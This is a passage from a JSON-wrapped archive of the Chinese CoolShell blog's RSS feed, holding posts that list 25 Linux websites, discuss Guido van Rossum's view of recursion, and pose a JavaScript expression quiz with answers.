href=\"http://en.wikipedia.org/wiki/Java_(programming_language)\">Java</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/JavaScript\">JavaScript</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Lisp_(programming_language)\">Lisp</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Lua_(programming_language)\">Lua</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/OCaml\">OCaml</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/PHP\">PHP</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Pascal_(programming_language)\">Pascal</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Perl\">Perl</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Python_(programming_language)\">Python</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Ruby_(programming_language)\">Ruby</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/SQL\">SQL</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Scheme_(programming_language)\">Scheme</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Bourne_shell\">Shell</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Smalltalk\">Smalltalk</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Tcl\">Tcl</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Visual%20Basic\">Visual Basic</a></li>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"读书笔记：对线程模型的批评\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_title\">读书笔记：对线程模型的批评</a></li><li ><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-150x150.png\" alt=\"编程语言流行度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_title\">编程语言流行度</a></li><li ><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution-150x150.jpg\" alt=\"编程语言进化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_title\">编程语言进化</a></li><li ><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" alt=\"计算机编程简史图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_title\">计算机编程简史图</a></li><li ><a href=\"https://coolshell.cn/articles/2598.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" alt=\"五个编程语言设计的失误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2598.html\" class=\"wp_rp_title\">五个编程语言设计的失误</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/706.html\">编程语言流行度排名</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/706.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>25个Linux相关的网站</title>\n\t\t<link>https://coolshell.cn/articles/701.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/701.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 28 Apr 2009 05:33:12 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=701</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是25个最具有影响力，也是最重要的Linux网站，这些网站提供了Linux的分发包，软件，文件，新闻，以及其它所有的关于Linux的东西。关于Linux的分...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/701.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/701.html\">25个Linux相关的网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是25个最具有影响力，也是最重要的Linux网站，这些网站提供了Linux的分发包，软件，文件，新闻，以及其它所有的关于Linux的东西。关于Linux的分发包历史，可以看看本站的这篇文章《<a class=\"title\" rel=\"bookmark\" href=\"https://coolshell.cn/articles/85.html\">Linux Distribution Timeline</a>》</p>\n<p>1. <a href=\"http://www.linux.org/\" target=\"_blank\">Linux.org</a></p>\n<p>这个站点主要提供Linux相关的新闻、文档、教程，培训，以及其它一切和Linux相关的东西。这是你需要了解Linux开源社区的总入口。</p>\n<p>2. <a href=\"http://www.debian.org/\" target=\"_blank\">Debian.org</a></p>\n<p>如果你想要了解所有关于 Debian 和Linux/GNU 操作系统的相关信息，这个网站是必需要访问的，因为这是Debian的官网。</p>\n<p><span id=\"more-701\"></span></p>\n<p>3. <a href=\"http://www.ubuntu.com/\" target=\"_blank\">Ubuntu.com</a></p>\n<p>这可能是桌面系统上最流行的Linux分发包了。</p>\n<p>4. <a href=\"http://www.fedora.com/\" target=\"_blank\">Fedora.com</a></p>\n<p>Fedora 的官网。Fedora 是一个开放的、创新的、前瞻性的操作系统和平台，基于 Linux。它允许任何人自由地使用、修改和重发布，无论现在还是将来。它由一个强大的社群开发，这个社群的成员以自己的不懈努力，提供并维护自由、开放源码的软件和开放的标准。Fedora 项目由 Fedora 基金会管理和控制，得到了 Red Hat, Inc. 的支持。</p>\n<p>5. <a href=\"http://www.novell.com/\" target=\"_blank\">Novell.com</a></p>\n<p>SuSE 也是一个相当不错的Linux分发包，这是SuSE的官网。SUSE Linux 原来是德国的 SuSE Linux AG公司发行维护的Linux发行版，是属于此公司的注册商标。2004年这家公司被Novell公司收购。</p>\n<p>6. <a href=\"http://www.opensuse.org/\" target=\"_blank\">OpenSUSE.org</a></p>\n<p>现在的 SUSE Linux 由 openSUSE 项目所维护，这个项目的主要目标是使 SUSE Linux 成为最易获得和最广泛使用的Linux，成为最棒的用户Linux桌面环境。</p>\n<p>7. <a href=\"http://www.redhat.com/\" target=\"_blank\">RedHat.com</a></p>\n<p>Linux红帽子分发包，RedHat致力于服务器和企业级领域的开发。RedHat可能是所有Linux开发包中最挣钱的一个了。</p>\n<p>8. <a href=\"http://www.mandriva.com/\" target=\"_blank\">Mandriva.com</a></p>\n<p>Mandriva 分发包的官网。Mandriva 是来自浪漫之国&#8211;法国的 Linux 发行套件之一。她是由mandrake和Conectiva两者发展而来的。同样她也提供免费版下载，是最易用的linux发行版本之一。现在最新版本是Mandriva Linux 2009。新人推荐使用。Mandriva Linux（原先的Mandrakelinux）创建于1998年，它以使Linux对每一个人都易用 为目标。当时Linux作为操作系统已经以强大和稳定而闻名，但它要求人们有很强的专业知识，并涉及大量的命令行操作。MandrakeSoft认为这是一个将最好的图形桌面环境以及它自己的图形界面配置工具集成到Linux中的机会，并且很快就以作为Linux易用性和功能性的典范而著称。Mandriva Linux以易用和令人愉快的软件环境，向个人用户和企业用户提供了Linux的所有强大功能和稳定性。每天都有成千上万的用户在初识Linux并发现它可以完全替代之前所使用的操作系统。无论是作为服务器还是工作站，Linux都用不着去妒嫉任何其他更广为采用的操作系统。</p>\n<p>9. <a href=\"http://www.linuxmint.com/\" target=\"_blank\">Linux Mint.com</a></p>\n<p>Linux Mint分发包的官网。Linux Mint是一份基于Ubuntu的发行，其目标是提供一种更完整的即刻可用体验，这包括提供浏览器插件、多媒体编解码器、对DVD播放的支持、Java和其他组件。它与Ubuntu软件仓库兼容。</p>\n<p>10. <a href=\"http://www.pclinuxos.com/\" target=\"_blank\">PCLinuxOS.com</a></p>\n<p>Linux 的 PCLinuxOS 分发包。PCLinuxOS是一份优秀的发行版，在国外很流行，在distrowatch.com的关注度与Ubuntu、Fedora、openSUSE不分高下。</p>\n<p>11. <a href=\"http://www.centos.org/\" target=\"_blank\">CentOS.org</a></p>\n<p>CentOS 官网。CentOS计划所推出──全名为&#8221;社区企业操作系统&#8221;（Community Enterprise Operating System）的这个计划是在2003年红帽决定不再提供免费的技术支持及产品认证之后的部份&#8221;红帽重建者&#8221;（Red Hat rebuilders）之一。redhat.com发布redhat 9(简写为rh9)后，不再开发redhat 10,11&#8230;,全面转向redhat enterprise linux(简写为rhel)的开发，和以往不同的是,新的rhel 3要求用户先购买lisence,redhat.com承诺保证产品的稳定性，安全性。rhel 3二进制代码不再提供下载，而是作为redhat 服务的一部分，但源代码依然是open。所以有了centos ,whitebox,dao 等等一批open source的企业版本，其中centos最为活跃。</p>\n<p>12. <a href=\"http://www.mepis.org/\" target=\"_blank\">Simply MEPIS</a></p>\n<p>MEPIS 分发包官网。MEPIS Linux是一份Linux桌面系统，它也能被方便地配置成专用的服务器。它被设计为同时适合于个人和商用目的。它拥有最新的特性，例如它是一张自启动运行/安装/修复光盘，以及自动配置硬件，NTFS分区大小调整支持，ACPI电源管理，WiFi支持，反混淆TrueType字体，个人防火墙，KDE桌面等等。</p>\n<p>13. <a href=\"http://www.pcbsd.org/\" target=\"_blank\">PC BSD</a></p>\n<p>PCBSD是基于FreeBSD的以桌面应用为目的的操作系统。PCBSD默认安装KDE桌面.它提供LINUX兼容模式，可以使用linux中优秀的媒体工具、办公软件，你可以像linux桌面版一样使用它。与FreeBSD的区别：PCBSD主要面向桌面应用，而FreeBSD主要针对服务器。PCBSD基于FREEBSD内核与KDE桌面，FreeBSD默认情况下是命令行界面</p>\n<p>14. <a href=\"http://www.distrowatch.com/\" target=\"_blank\">Distrowatch.com</a></p>\n<p>这是个非常不错的网站。你可以从这个网站上了解到所有Linux分发包的新闻和信息。</p>\n<p>15. <a href=\"http://tuxmachines.org/\" target=\"_blank\">Tuxmachines.org</a></p>\n<p>Tuxmachines.org 也是一个提供所有和Linux相关信息的网站。</p>\n<p>16. <a href=\"http://www.kernel.org/\" target=\"_blank\">Linux Kernel</a></p>\n<p>相了解Linux的内核的吗？这个网站你不能不去。这个网站上拥有世界上对Linux最狂热的人。</p>\n<p>17. <a href=\"http://www.linuxplanet.com/\" target=\"_blank\">Linux Planet</a></p>\n<p>也是一个关于Linux文章和信息的网站。如果你想跟上Linux的步伐，你需要经常上这个网站。</p>\n<p>18. <a href=\"http://www.tuxs.org/\" target=\"_blank\">Tuxs.org</a></p>\n<p>一个提供指南和教程的linux的站点。</p>\n<p>19. <a href=\"http://www.linuxfoundation.org/\" target=\"_blank\">Linux Foundation</a></p>\n<p>这是Linux专家级的站点，上面有很多新闻，文章等等。</p>\n<p>20. <a href=\"http://linuxgazette.net/\" target=\"_blank\">Linuxgazette.com</a></p>\n<p>一个专家云集的BLOG社区。</p>\n<p>21. <a href=\"http://www.linuxjournal.com/\" target=\"_blank\">Linux Journal</a></p>\n<p>Linux Journal团队的官网，提供了大量的How-To，教程，以及其它很多的Linux信息和技术文章。</p>\n<p>22. <a href=\"http://www.li.org/\" target=\"_blank\">Linux International</a></p>\n<p>Linux International 一个 vendor 组织其主要促进Linux操作系统。</p>\n<p>23. <a href=\"http://www.linuxhq.com/\" target=\"_blank\">Linux Headquarters</a></p>\n<p>Linux总部。又是一个很不错的网站，提供了很多关于Linux的新闻，链接，通知等等。</p>\n<p>24. <a href=\"http://tldp.org/\" target=\"_blank\">Linux Documentation Project</a></p>\n<p>这是一个基于Web站点的项目，其想要提供一个完整的质量上乘的Linux文档。也是一群充满激情的Linux狂热份子。</p>\n<p>25. <a href=\"http://www.linuxworld.com/\" target=\"_blank\">Linux World</a></p>\n<p>Linux World 主要面对的是企业级的应用和实现。这个网站提供了很多机会、技术和新闻，以及很多解决方案。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/701.html\">25个Linux相关的网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/701.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Guido认为程序员大多数工作不需要递归</title>\n\t\t<link>https://coolshell.cn/articles/694.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/694.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Sun, 26 Apr 2009 11:10:15 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=694</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Python的创造者Guido在最近一篇关于为什么Python里没有 Tail Recurssion Elimination （暂译：尾递归优化）的文章中提到一...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/694.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/694.html\">Guido认为程序员大多数工作不需要递归</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Python的创造者Guido在最近一篇关于为什么Python里没有 Tail Recurssion Elimination （暂译：尾递归优化）的文章中提到一个我们可能经常听到的观点“真正的程序员一般不用递归”。</p>\n<p><a href=\"http://neopythonic.blogspot.com/2009/04/tail-recursion-elimination.html\">http://neopythonic.blogspot.com/2009/04/tail-recursion-elimination.html</a></p>\n<blockquote><p><span>Third,</span> I don&#8217;t believe in recursion as the basis of all programming. This is a fundamental belief of certain computer scientists, especially those who love Scheme and like to teach programming by starting with a &#8220;cons&#8221; cell and recursion. But to me, seeing recursion as the basis of everything else is just a nice theoretical approach to fundamental <span>mathematics</span> (<a href=\"http://en.wikipedia.org/wiki/Turtles_all_the_way_down\">turtles all the way down</a>), not a day-to-day tool.</p>\n<p>翻译：（第三点）我不认为递归是编程的基础。递归是一些计算机科学家们，尤其是那些热爱Scheme （lisp的一支）和喜欢用‘cons&#8217; 来教表头表尾和递归的人们。但是对我（Guido）来说，递归只是一些为基础数学研究而存在的理论手段（例如分形几何学），而不是日常的编程工具。</p></blockquote>\n<p>这也再次证明当年“耗”哥当年在楼下遛弯时候给我的教导，好的程序员不在于多么会写看似非常聪明的代码，重要的是能够思路清晰的用最简单的方式解决问题。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"HTML5 小游戏展示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2998.html\" class=\"wp_rp_title\">HTML5 小游戏展示</a></li><li ><a href=\"https://coolshell.cn/articles/6424.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"Hash Collision DoS 问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6424.html\" class=\"wp_rp_title\">Hash Collision DoS 问题</a></li><li ><a href=\"https://coolshell.cn/articles/10427.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg\" alt=\"伙伴分配器的一个极简实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10427.html\" class=\"wp_rp_title\">伙伴分配器的一个极简实现</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/918.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/05/29-02_menu_matic-150x150.jpg\" alt=\"20个优秀的Javascript导航技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/918.html\" class=\"wp_rp_title\">20个优秀的Javascript导航技术</a></li><li ><a href=\"https://coolshell.cn/articles/971.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"质量管理经中的八个法则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/971.html\" class=\"wp_rp_title\">质量管理经中的八个法则</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/694.html\">Guido认为程序员大多数工作不需要递归</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/694.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-44.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 44 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=44\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Tue, 26 May 2009 02:49:39 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>你能做对下面这些JavaScript的题吗？</title>\n\t\t<link>https://coolshell.cn/articles/688.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/688.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Sun, 26 Apr 2009 06:48:51 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=688</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>你能做对下面这些JavaScript的题吗？ 原文 你认为你了解JavaScript? 快速的做一下下面的这些题目。并将下面的每一个表达式的值写出。(答案在问题...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/688.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/688.html\">你能做对下面这些JavaScript的题吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>你能做对下面这些JavaScript的题吗？</p>\n<p><a href=\"http://asserttrue.blogspot.com/2009/04/can-you-pass-this-javascript-test.html\">原文</a></p>\n<p>你认为你了解JavaScript? 快速的做一下下面的这些题目。并将下面的每一个表达式的值写出。(答案在问题后面)</p>\n<p>1. ++Math.PI<br />\n2. (0.1 + 0.2) + 0.3 == 0.1 + (0.2 + 0.3)<br />\n3. typeof NaN<br />\n4. typeof typeof undefined<br />\n5. a = {null:null}; typeof a.null;<br />\n6. a = &#8220;5&#8221;; b = &#8220;2&#8221;; c = a * b;<br />\n7. a = &#8220;5&#8221;; b = 2; c = a+++b;<br />\n8. isNaN(1/null)<br />\n9. (16).toString(16)<br />\n10.016 * 2<br />\n11.~null<br />\n12.&#8221;ab c&#8221;.match(/\\b\\w\\b/)</p>\n<p><span id=\"more-688\"></span><br />\n首先，这不是一个入门教程，因此我不会去对每一个答案做单独的解释，如果你觉得你有不理解的地方，我建议你 while (!掌握()) 专研它();</p>\n<p>答案：<br />\n1. 4.141592653589793<br />\n2. false<br />\n3. &#8220;number&#8221;<br />\n4. &#8220;string&#8221;<br />\n5. &#8220;object&#8221;<br />\n6. 10<br />\n7. 7<br />\n8. false<br />\n9. 10<br />\n10. 28<br />\n11. -1<br />\n12. [ &#8220;c&#8221; ]</p>\n<p>我的打分如下(每答对一题一分)：</p>\n<p>5分 &#8211; 7分: 了解javascript<br />\n8分 &#8211; 10分: 专家<br />\n11: 大学士<br />\n12分: 大师</p>\n<p>简要的注释：<br />\n第2题：答案是false，javascript和java非常相似(或则其他使用了IEEE 754浮点数的语言)，这也是为什么在和钱打交道的正式应用程序中一般不使用浮点数四则运算的原因，浮点数的加或乘除外，下面<a href=\"http://www.macaulay.ac.uk/fearlus/floating-point/\">这篇</a>文章有关于浮点数四则运算的一个详细的讨论。</p>\n<p>第6题：在四则运算表达式中使用乘、除或减，如果表达式中包含一个或多个字符型，那么语法解释器会试着首先将字符型转换为数值型，如果算术表达式包含着加号运算，那么所有的运算项都会被转换成字符型。</p>\n<p>第7题：JavaScript中表达式的运算的优先级是从坐到右(类似于Java和C)，因此，在这里将会是一个先a计算值，加上b，然后在a++的次序，而不是a加上++b这样的运算。</p>\n<p>第9题：toString() 可以带一个可选的数字参数。参数值16意味着基于16进制，返回的字符串将会是该数字的16进制表示，在这个例子里面就是10，如果你写.toString(2)那么你将会得到这个数字的2进制表示，等等。</p>\n<p>第10题：016是8进制表示，即8进制的14。虽然是这样，但比较有趣的是，如果有你以&#8221;016&#8243;(字符串形式)去乘上一个数，语法解释器会认为&#8221;016&#8243;是基于10进制的数。</p>\n<p>如果你不能正确的写出这些题目的答案，不要灰心丧气，因为几乎上面的每一个问题都(明显地)含有着蒙蔽人小伎俩，现在让我问面对它。当然，如果你非常正确的回答了上面的所有问题，你也不必太过沾沾自喜，这意味着这你仅仅是一个比任何正常人都奇怪的javascript怪杰而已！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" 